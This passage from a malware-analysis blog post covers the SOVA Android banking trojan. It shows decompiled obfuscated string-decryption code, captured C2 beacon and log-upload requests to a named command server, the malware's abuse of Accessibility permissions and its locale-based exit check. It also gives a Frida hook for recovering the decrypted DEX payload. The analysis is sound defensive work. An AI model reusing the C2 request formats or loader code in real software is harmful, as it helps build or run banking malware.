&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i3 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">-&lt;/span>421&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i4 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">((-&lt;/span>421&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">-&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>5066 &lt;span style="color:#fe8019">/&lt;/span> i&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> 9510&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">byte&lt;/span>&lt;span style="color:#fe8019">[]&lt;/span> bArr2 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> &lt;span style="color:#fabd2f">byte&lt;/span>&lt;span style="color:#fe8019">[&lt;/span>12&lt;span style="color:#fe8019">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>i &lt;span style="color:#fe8019">==&lt;/span> 500&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">(-&lt;/span>5499169&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">-&lt;/span> i4&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">byte&lt;/span>&lt;span style="color:#fe8019">[]&lt;/span> bArr3 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>19&lt;span style="color:#fe8019">};&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">for&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span> i5 &lt;span style="color:#fe8019">=&lt;/span> 9&lt;span style="color:#fe8019">;&lt;/span> i5 &lt;span style="color:#fe8019">&amp;lt;&lt;/span> 10&lt;span style="color:#fe8019">;&lt;/span> i5&lt;span style="color:#fe8019">++)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i4 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">((&lt;/span>i &lt;span style="color:#fe8019">-&lt;/span> 60025&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">-&lt;/span> &lt;span style="color:#fe8019">(-&lt;/span>421&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> 32320&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(-&lt;/span>421 &lt;span style="color:#fe8019">==&lt;/span> i4&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i3 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">((&lt;/span>i4 &lt;span style="color:#fe8019">+&lt;/span> 9&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> 6&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">-&lt;/span> i&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>i &lt;span style="color:#fe8019">&amp;lt;=&lt;/span> i4&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>79116 &lt;span style="color:#fe8019">-&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>i4 &lt;span style="color:#fe8019">*&lt;/span> i3&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">-&lt;/span> 91782&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">for&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span> i6 &lt;span style="color:#fe8019">=&lt;/span> 6&lt;span style="color:#fe8019">;&lt;/span> i6 &lt;span style="color:#fe8019">&amp;lt;&lt;/span> 8&lt;span style="color:#fe8019">;&lt;/span> i6&lt;span style="color:#fe8019">++)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i7 &lt;span style="color:#fe8019">=&lt;/span> 0&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">while&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>i7 &lt;span style="color:#fe8019">&amp;lt;&lt;/span> 12&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i8 &lt;span style="color:#fe8019">=&lt;/span> i &lt;span style="color:#fe8019">+&lt;/span> 42811&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i9 &lt;span style="color:#fe8019">=&lt;/span> 31 &lt;span style="color:#fe8019">-&lt;/span> i8&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i10 &lt;span style="color:#fe8019">=&lt;/span> i8 &lt;span style="color:#fe8019">-&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>i9 &lt;span style="color:#fe8019">*&lt;/span> 78&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bArr2&lt;span style="color:#fe8019">[&lt;/span>i7&lt;span style="color:#fe8019">]&lt;/span> &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">byte&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">(((((((&lt;/span>i8 &lt;span style="color:#fe8019">-&lt;/span> i9&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> i10&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">*&lt;/span> 0&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> bArr&lt;span style="color:#fe8019">[&lt;/span>i7&lt;span style="color:#fe8019">])&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#fe8019">(((&lt;/span>i10 &lt;span style="color:#fe8019">/&lt;/span> i10&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">/&lt;/span> 1&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">^&lt;/span> 1&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>i10 &lt;span style="color:#fe8019">%&lt;/span> i10&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">^&lt;/span> bArr3&lt;span style="color:#fe8019">[&lt;/span>i7 &lt;span style="color:#fe8019">%&lt;/span> 1&lt;span style="color:#fe8019">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> i11 &lt;span style="color:#fe8019">=&lt;/span> i10 &lt;span style="color:#fe8019">/&lt;/span> 8096345&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i7&lt;span style="color:#fe8019">++;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i &lt;span style="color:#fe8019">=&lt;/span> i10&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">for&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span> i12 &lt;span style="color:#fe8019">=&lt;/span> 19&lt;span style="color:#fe8019">;&lt;/span> i12 &lt;span style="color:#fe8019">&amp;lt;&lt;/span> 47&lt;span style="color:#fe8019">;&lt;/span> i12&lt;span style="color:#fe8019">++)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> String&lt;span style="color:#fe8019">(&lt;/span>bArr2&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/decrypted-dexpath.png" alt="decrypted-dexpath">&lt;/p>
&lt;p>&lt;img src="./media/encrypted-dex.png" alt="">&lt;/p>
&lt;blockquote>
&lt;p>How to decrypt that file ??&lt;/p>
&lt;/blockquote>
&lt;h2 id="dynamic-analysis">Dynamic Analysis&lt;/h2>
&lt;p>Install the malicious APK to the emulator:&lt;/p>
&lt;p>&lt;img src="./media/malware-icon.png" alt="">&lt;/p>
&lt;p>When the malicious application is spawned it prompts the user to enable the Accessibility permissions:&lt;/p>
&lt;p>&lt;img src="./media/enable-accessibility-features.png" alt="">&lt;/p>
&lt;p>The following data are sent to the C2 at &lt;code>satandemantenimiento.com&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">GET&lt;/span> /api/?param=screen&amp;amp;value=1&amp;amp;botid=4dddcd2334122d7ee728&amp;amp;method=bots.update&amp;amp;access=1 &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> Dalvik/2.1.0 (Linux; U; Android 10; Android SDK built for x86_64 Build/QSR1.210802.001)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> satandemantenimiento.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">POST&lt;/span> /logpost/ &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> application/x-www-form-urlencoded
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>charset&lt;span style="color:#fe8019">:&lt;/span> utf-8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length&lt;span style="color:#fe8019">:&lt;/span> 382
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> Dalvik/2.1.0 (Linux; U; Android 10; Android SDK built for x86_64 Build/QSR1.210802.001)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> satandemantenimiento.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>botid=4dddcd2334122d7ee728&amp;amp;text=%5B%22%7B%5C%22type%5C%22%3A%5C%22INFO%5C%22%2C%5C%22log%5C%22%3A%5C%22%5BLauncherActivity%5D+CURRENT+LANG+-+EN%5C%22%2C%5C%22time%5C%22%3A%5C%221667658925989%5C%22%7D%22%2C%22%7B%5C%22type%5C%22%3A%5C%22WARNING%5C%22%2C%5C%22log%5C%22%3A%5C%22%5BLauncherActivity%5D+Starting+dead+service%5C%22%2C%5C%22time%5C%22%3A%5C%221667658925995%5C%22%7D%22%5D
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Using Accessibility features, the malware can view and control the screen and imitate user activity.&lt;/p>
&lt;p>&lt;img src="./media/accessibility-permissions.png" alt="">&lt;/p>
&lt;p>The malware does not delete the decrypted DEX file after loading it into the process memory and therefore we can easily obtain it from the application&amp;rsquo;s data folder:&lt;/p>
&lt;p>&lt;img src="./media/local-storage.png" alt="">&lt;/p>
&lt;p>Alternatively, we can use Frida to hook the &lt;code>DexClassLoader&lt;/code> class and print the path of the loaded file - the first parameter passed to the &lt;code>DexClassLoader&lt;/code> constructor.&lt;/p>
&lt;p>The script is available &lt;a href="https://gist.githubusercontent.com/eybisi/abb844ebde00e6c0d5f6896d61dae911/raw/ac2816d35190af4057767818028b9eda61fd3aa8/hook_dexloader.js">here&lt;/a>&lt;/p>
&lt;p>A simplified script is included below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-js" data-lang="js">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">// handle to `DexClassLoader` class
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span>&lt;span style="color:#fe8019">let&lt;/span> dexclassLoader &lt;span style="color:#fe8019">=&lt;/span> Java.use(&lt;span style="color:#b8bb26">&amp;#34;dalvik.system.DexClassLoader&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">let&lt;/span> system &lt;span style="color:#fe8019">=&lt;/span> Java.use(&lt;span style="color:#b8bb26">&amp;#34;java.lang.System&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">// hook constructor
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span>dexclassLoader.$init.implementation &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">function&lt;/span>(a,b,c,d) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> console.log(&lt;span style="color:#b8bb26">&amp;#34;\n[+] DexClassLoader $init called!&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> console.log(&lt;span style="color:#b8bb26">`[!] dexPath = &lt;/span>&lt;span style="color:#b8bb26">${&lt;/span>a&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26">`&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> system.exit(&lt;span style="color:#d3869b">0&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/frida.png" alt="">&lt;/p>
&lt;p>Copy the decrypted DEX file to &lt;code>/data/local/tmp&lt;/code> and download to the host machine using &lt;code>adb pull&lt;/code> for further analysis.&lt;/p>
&lt;h2 id="analyzing-the-decrypted-dex">Analyzing the decrypted DEX&lt;/h2>
&lt;p>Import the dropped DEX file into Jadx-GUI:&lt;/p>
&lt;p>&lt;img src="./media/dropped-dex-jadx.png" alt="">&lt;/p>
&lt;p>SOVA malware employs the following open-source &lt;a href="https://github.com/sonuauti/Android-Web-Server">project&lt;/a> to exfiltrate data to the C2 server.&lt;/p>
&lt;ul>
&lt;li>The C2 server listens on &lt;code>http://satandemantenimiento.com&lt;/code>&lt;/li>
&lt;li>If the device&amp;rsquo;s language is set to any of the following locales then it exits: AZ, AM, BY, KZ, KG, MD, RU, TJ, UZ, UA, ID.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>&amp;hellip; will update soon &amp;hellip;&lt;/p>
&lt;/blockquote>
&lt;h2 id="references">References&lt;/h2>
&lt;blockquote>
&lt;p>Special thanks to &lt;a href="https://twitter.com/ReBensk">@ReBensk&lt;/a> for being awesome.&lt;/p>
&lt;/blockquote>
&lt;ul>
&lt;li>&lt;a href="https://muha2xmad.github.io/malware-analysis/sova/">https://muha2xmad.github.io/malware-analysis/sova/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pentest.blog/n-ways-to-unpack-mobile-malware/">https://pentest.blog/n-ways-to-unpack-mobile-malware/&lt;/a>&lt;/li>
&lt;/ul></content></item></channel></rss>